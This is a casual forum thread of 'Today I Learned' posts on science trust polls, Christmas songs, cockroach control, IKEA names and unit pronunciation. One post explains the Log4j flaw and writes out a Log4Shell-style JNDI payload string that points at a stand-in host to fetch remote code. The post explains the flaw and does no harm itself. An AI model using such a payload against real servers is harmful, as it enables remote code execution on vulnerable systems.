Today I Learned

[Keith_McClary]

It keeps going in that style. Misleading or just wrong claims all over the place. There are astronomers writing actually good articles with useful criticism, but this is not an example. It's just trying to mislead the public.

They have a paper (accepted in Astronomical Journal).

 

[BillTre]

On her third time out with her metal detector:

Now she wants to be an archeologist.

 

[mfb]

They have a paper (accepted in Astronomical Journal).

... which doesn't have invented anecdotes and all the other rubbish of the article.

 

[BillTre]

TIL that trust in science has increased both internationally and in the US.
I was surprised, I guess due to the pervasive mis-information out there.
Maybe, when in need of good advise, a more reasonable source is sought out.

Keep spreading those science positive explanations.
Science, when successfully applied, will be the most convincing.
(I call this the engineering approach to confidence in scientific concepts.)

from NY Times article:

Results from the public opinion poll, in a report published by the Wellcome Trust, a foundation focused on health research in London, showed that about 80 percent of people from 113 countries said they trusted science either “a lot” or “some.” About three-fourths of the 119,000 surveyed said they trusted scientists, either “a lot” or “some.”

Even in the US, trust went up:

Within the United States, the survey found that 54 percent of Americans said they had “a lot” of trust in scientists, an increase of 9 percentage points from the 2018 poll. The most recent U.S. survey data was collected from August 2020 to October 2020, as confirmed Coronavirus cases per 100,000 people rose by 60 percent.

With certain exceptions:

A more recent Gallup poll conducted in July found confidence in science has increasingly diverged across partisan lines. Since the last poll was taken in 1975, Republican confidence in science fell by 27 points while Democrat confidence increased by 12 points.

 

[fresh_42]

I think the morons are only louder. A demonstration of a bunch of <insert stupidity of your choice, e.g. anti-vaxxers or fake news people> is news, people in a library or those searching for real references and sources are not.

The problem is that they convey the impression that they build a majority or at least a notable minority. If I turn on the news or read my FB feeds, then I get an impression which is basically the opposite of the impression I have talking to real people. With exceptions. Those exceptions turned militant in the last few years if you ask me.

 

[DaveC426913]

I think the morons are only louder. A demonstration of a bunch of <insert stupidity of your choice, e.g. anti-vaxxers or fake news people> is news, people in a library or those searching for real references and sources are not.

The problem is that they convey the impression that they build a majority or at least a notable minority. If I turn on the news or read my FB feeds, then

Yeah. My second thought. (My first thought was: Whaaa? Watching the news, no way has trust in science gone up...)

I get an impression which is basically the opposite of the impression I have talking to real people.

Hm. I don't know if I'd trust this though. I suspect most people (including you) are surrounded by people of their own type.

 

[BillTre]

TIL that today is National Trick Shot Day (Nov. 7, this year).
So proclaimed by the Harlem Globe Trotters (whom I like).

The Globe Trotters claim to have originated the Trick Shot. I suspect its more like perfected it.

Gravity-defying feats of physics take trick shots to the next level.

Since it's 11 PM, you have an hour to upload your trick shot video to their contest!

 

[DaveC426913]

Nov. 7

 

[BillTre]

Opps, make that Dec. 7!

 

[jtbell]

Today I learned that IKEA's products are named after places in Sweden, and the Swedish tourism board has launched a campaign based on those places:

Discover the originals of Sweden

"Welcome to Bolmen: More than an IKEA toilet brush"

 

[gmax137]

TIL "whamageddon" and guess what, I had to google "Last Christmas." I have no memory of ever hearing that tune. TIL, I am a lucky guy

A very funny game: Whamageddon 2021.

The objective is to go as long as possible without hearing WHAM's Christmas classic; "Last Christmas" (between December 1 and December 24.

 

[DaveC426913]

TIL "whamageddon" and guess what, I had to google "Last Christmas." I have no memory of ever hearing that tune. TIL, I am a lucky guy

Yep. I and my friends play every year. So far, this year, I have avoided being sent to Whamhalla.

 

[Ibix]

sent to Whamhalla.

There to await Ragnarock, amirite?

 

[DennisN]

TIL "whamageddon" and guess what, I had to google "Last Christmas." I have no memory of ever hearing that tune.

I am truly stunned!

 

[fresh_42]

Lemmy with Chuck's Rudolph is a good antidote.

 

[gmax137]

I am truly stunned!

I guess I stopped "keeping up" with most contemporary music around the time MTV stopped playing music videos.

It's weird, being the same age as old people...

 

[DennisN]

I guess I stopped "keeping up" with most contemporary music around the time MTV stopped playing music videos.

I think I understand. I belong to the early MTV generation, which means I was in my teens when MTV reached Europe. Me and my friends quite liked it (well, at least when they played music genres we were into it). But I remember there was a gradual shift, some time around mid/late 1990s if I remember correctly, when I think it started to go downhill.

Regarding "Last Christmas" I actually can't say I dislike the song so much even though it's sugary sweet and has a distinct 80s sound. But I'm still fed up hearing it since it gets so much airtime during Christmas times.
I listen a lot to radio, so I wasn't expecting to survive Whamageddon 2021.

 

[BWV]

Today I learned that IKEA's products are named after places in Sweden, and the Swedish tourism board has launched a campaign based on those places:

Discover the originals of Sweden

"Welcome to Bolmen: More than an IKEA toilet brush"

IKEA furniture name or extreme metal band?

http://ikeaordeath.com/

 

[O2PiArr]

Who/what is "Wham"?

TIL today is that crows are jerks. I found an apple core on the hood of my truck this afternoon. Looking at the video footage from my security camera setup (I have a problem neighbor), I saw where a crow was eating an apple on the roof and dropped it onto the truck. Though to be fair, all I could see was its head bobbing up and down as a shadow on the windshield.

 

[pinball1970]

TIL "whamageddon" and guess what, I had to google "Last Christmas." I have no memory of ever hearing that tune. TIL, I am a lucky guy

Indeed you are a lucky guy.
'All I want for Xmas is you' by Maria Cary pips it though. I feel violated every time it comes on.

 

[fresh_42]

Indeed you are a lucky guy.
'All I want for Xmas is you' by Maria Cary pips it though. I feel violated every time it comes on.

Guess that is the American version, and Wham the European. Not that you cannot hear Carey here, too, but she normally comes in second place.

 

[LCSphysicist]

Today i learned that Covid variant omicron has given us merry xmas more than a decade ago:
https://www.physicsforums.com/threads/merry-xmas.57700/
In 12 languages. Covid has evolved more than i thought.

 

[BillTre]

Today's date (12/11/21) is also a palindrome.

 

[mfb]

Today i learned that Covid variant omicron has given us merry xmas more than a decade ago:
https://www.physicsforums.com/threads/merry-xmas.57700/
In 12 languages. Covid has evolved more than i thought.

Good to see that Omicron hasn't been in this forum recently.

 

[pinball1970]

TIL /found this cool little count down link for the James Webb (

https://jwst.nasa.gov/content/webbLaunch/countdown.html

 

[pinball1970]

TIL if you type “count” accidently leaving the “o” out, the resulting word gives a ”jerk” in its place!

Good job I always read again after posting!

I Edited VERY quickly.

 

[kyphysics]

Flyswatters are great at killing speedy roaches. Sneaking up on a roach to smash is near impossible. Flyswatters offer reach and aerodynamic speed.

They are a fantastic invention. Better than Raid (which gets the material sprayed on all wet).

 

[DaveC426913]

Flyswatters are great at killing speedy roaches.

Where do you live that your cockroaches notice flyswatters, let alone kill them?

 

[symbolipoint]

Where do you live that your cockroaches notice flyswatters, let alone kill them?

Where the person lives is less important than the effectiveness of the flyswatter in killing cockroaches. I have used flyswatters to kill some cockroaches, and they do work. You still need to be fast. The bugs do notice something moving and if you're too slow, harder to swat them on-target.

 

[DaveC426913]

Where the person lives is less important than the effectiveness of the flyswatter in killing cockroaches.

I guess my point was, I've seen cockroaches that can shrug off being stomped on. I thought perhaps you lived in a land where cockroaches are made of lace and cotton candy.

 

[kyphysics]

I guess my point was, I've seen cockroaches that can shrug off being stomped on. I thought perhaps you lived in a land where cockroaches are made of lace and cotton candy.

Yes and no. If you bash a roach with a swift flyswatter move, you can bash off a leg or two. I will say that I use mothballs as well. So, they are probably a bit poisoned already. Normally, they are very fast (one of the fastest living things on Earth). But, mothballs slowly poison them and they start slowing down. They may be extra vulnerable after being poisoned and a swat or two with the flyswatter stops them. Then, I take a paper towel and finish it off (squeeze it to death).

You are correct that many (perhaps not all, however) roaches can survive being crushed. I've had many experiences bashing them with paper towels only to lift it up and have it run off at warp speed.

 

[BillTre]

I have worked with professionals to remove roaches:

Baited poisons work well with roaches (if you don't have pets or children that might get into it.
You can get sticky traps or make them by balling up very sticky tape, like packing tape. They stick there are dry out of starve.
Remove access to places they hid and breed. They like dark and moist places. Seal seams in walls tey might be hiding behind.

They are difficult to crush and can squeeze through very tiny cracks.

 

[Tom.G]

Also Boric Acid powder works quite well against roaches.
See: https://www.physicsforums.com/posts/6302541
and the two posts that follow it.

A few years ago, we had an infestation that was a bit hard to localize. We finally found them in a gap between the kitchen countertop and the plywood support under it. We used a bellows-type puffer (sprayer?) to blow Boric Acid powder into the space. After some time (a couple hours?) we had half a dozen or so dying roaches out on the floor. (The wife didn't much appreciate that part!) Don't know how many didn't make it that far, but they haven't returned.

Another tip:
If the beasties appear generally rather than localized, they may be getting in thru the gap between the wall and the floor. I know, you can't SEE any gap but it is usually there. Sprinkle some Boric Acid where ever a vertical surface meets a horizontal one. Severe cases (like in the Arizona Desert), some gets sprinkled across all doorways too.

Have Fun!
Tom

 

[Frabjous]

I have seen roaches from 0.5 inch to 2 inch. I have tried swatters with 1 inch. The swatter merely slows them down so you can stomp them.

 

[pinball1970]

I have seen roaches from 0.5 inch to 2 inch. I have tried swatters with 1 inch. The swatter merely slows them down so you can stomp them.

They make my skin crawl. That post made my skin crawl a little bit

 

[jbriggs444]

They make my skin crawl. That post made my skin crawl a little bit

Quick, somebody get a swatter. He has roaches under his skin.

Better now?

 

[pinball1970]

Quick, somebody get a swatter. He has roaches under his skin.

Better now?

Took my mind off roaches yes.

 

[gmax137]

When I lived in Florida we called them "Palmetto Bugs." Tennis racquets were sometimes effective. I think they would grab a flyswatter out of your hands and use it against you

 

[pinball1970]

TIL Brain surgeons are about the same level as rocket scientists for the smarts

A fun article in the xmas edition of the BMJ

https://www.sciencealert.com/resear...rgeons-against-each-other-in-a-battle-of-wits

Would you say rocket scientists have to think as deeply as cosmologists? QFT/QM guys? mathematicians?

Sheldon rated Engineers, geologists, biologists way down on his serious thinker list

Perhaps I should start a thread?

Light hearted of course.

 

[DaveC426913]

When I lived in Florida we called them "Palmetto Bugs." Tennis racquets were sometimes effective. I think they would grab a flyswatter out of your hands and use it against you

Yeah. Ran into these guys on a trip to Carolinas where we stayed in a cabin. They're huge, but soft.
Domestic-grade, not military-grade cockroaches, IMO.

 

[BWV]

In the South you learn to be somewhat relived at the big 1-2" American roaches as they come in from outside and you hardly ever see more than one or two at a time

The small German roaches breed in massive numbers in the house and are a much greater problem

 

[pinball1970]

In the South you learn to be somewhat relived at the big 1-2" American roaches as they come in from outside and you hardly ever see more than one or two at a time

The small German roaches breed in massive numbers in the house and are a much greater problem

Every one ignored my very deliberate, justified and amusing Segue from insects to something else.
I put effort in.

 

[jack action]

TIL this story about Billy Gibbons (from ZZ Top):

Billy Gibbons: “We never had anything but admiration for the blues giants,” “Dusty, Frank and I, we shared so much of the same influences, but we never said that we’re going to rescue the blues. We didn’t do that.”

My dad was an entertainer. When I was seven years old he said, ‘Listen, hop in the car. I want to take you with me. I’ve got business to take care of at the recording studio.’ We went into the studio, he parked me in a chair and said, ‘You’ll probably like this, they’re recording a band. I’ll be in the office if you need me…’ It turned out to be a BB King recording session. So, between seeing Elvis Presley and BB King I thought, ‘Man, this is it. This is for me!’”

“50 years later, B.B. King was being celebrated by a group of musicians,” he continues. “They were putting a CD together, a tribute to B.B. King with him performing with a host of different entertainers, and I got invited to be on the record. I showed up at the studio and BB said, ‘Do you know the song we’re going to do today?’ I said, ‘Yes, sir. “Tired of Your Jive.” I was there when you recorded it.’ He goes ‘No, that was 1957.’ I said ‘I was there’ and he said, ‘You the little boy sitting in the chair?’”

 

[kyphysics]

https://www.yahoo.com/finance/news/...acting-nearly-all-the-internet-222332341.html

A major cybersecurity vulnerability is impacting nearly all of the internet, sending everything from financial institutions to government entities scrambling to patch their systems, before cybercriminals and nation states can launch cyberattacks.

Known as the Log4j vulnerability, the flaw impacts a piece of open-source logging software that allows developers to understand how their programs function. The idea is to help companies understand potential bugs or performance issues in their own software.

But Log4j, which is part of the software offered by the open source Apache Software Foundation, can be exploited to allow attackers to take over the computers and networks of any organization running the program.

 

[mfb]

It's surprising how obvious the attack method is and how long it took to be found. You basically write "please download this file" in the text to be logged, and it will do that - intentionally.

${jndi:ld[/color]ap://example.com/maliciouscode}

 

[pbuk]

Today I learned that "Ampier" is an acceptable pronunciation in the US for the SI unit named after the Frenchman André-Marie Ampère.

How would you like it if we taked about "Benzhaman Fronklan"? Do you call the guy that brings you presents "Pier Nole"?

 

[DaveC426913]

...an acceptable pronunciation in the US...

There's a can o' worms alright.

House-flipping shows are a staple in our house, but I still cringe every time they enter the front door into the "foyur".

 

[Ibix]

Today I learned that "Ampier" is an acceptable pronunciation in the US for the SI unit named after the Frenchman André-Marie Ampère.

Weird. It sounds like a comparison - a 3A current is Ampier than a 2A one...

 

[fresh_42]

There's a can o' worms alright.

House-flipping shows are a staple in our house, but I still cringe every time they enter the front door into the "foyur".

Aren't you supposed to know it right in Canada?

 

[fresh_42]

Weird. It sounds like a comparison - a 3A current is Ampier than a 2A one...

Maybe the Americans want their empire, too.